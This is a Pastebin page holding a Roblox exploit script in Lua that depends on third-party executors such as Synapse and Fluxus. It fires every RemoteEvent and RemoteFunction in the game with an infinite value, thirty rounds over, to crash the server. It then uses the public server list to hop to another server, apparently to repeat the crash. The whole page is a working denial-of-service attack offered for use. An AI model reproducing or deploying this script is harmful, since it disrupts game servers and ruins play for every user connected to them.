Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- made by water_hax
- local httprequest = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request
- local TeleportService = game:GetService("TeleportService")
- local HttpService = game:GetService("HttpService")
- local JobId = game.JobId
- local PlaceId = game.PlaceId
- local Players = game.Players
- local set = 3
- local function CrashServer()
- for i,v in next, game:GetDescendants() do
- if v:IsA("RemoteEvent") then
- coroutine.wrap(function()
- v:FireServer(math.huge)
- end)()
- elseif v:IsA("RemoteFunction") then
- coroutine.wrap(function()
- v:InvokeServer(math.huge)
- end)()
- end
- end
- end
- for k=1,30 do
- CrashServer()
- end
- wait(set)
- -- credit to infinite yield for server hop script
- if httprequest then
- local servers = {}
- local success, req = pcall(function()
- return httprequest({Url = string.format("https://games.roblox.com/v1/games/%d/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true", PlaceId)})
- end)
- if success and req then
- local body = HttpService:JSONDecode(req.Body)
- if body and body.data then
- for _, a in pairs(body.data) do
- if type(a) == "table" and tonumber(a.playing) and tonumber(a.maxPlayers) and a.playing < a.maxPlayers and a.id ~= JobId then
- table.insert(servers, a.id)
- end
- end
- end
- else
- warn("error" .. (req or "No response"))
- end
- if #servers > 0 then
- local success, err = pcall(function()
- TeleportService:TeleportToPlaceInstance(PlaceId, servers[math.random(1, #servers)], Players.LocalPlayer)
- end)
- if not success then
- warn("failed teleport no httpsync :cold: : " .. err)
- end
- else
- warn("did u crashed all the server? :sweat-smile.")
- end
- end
- -- End
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement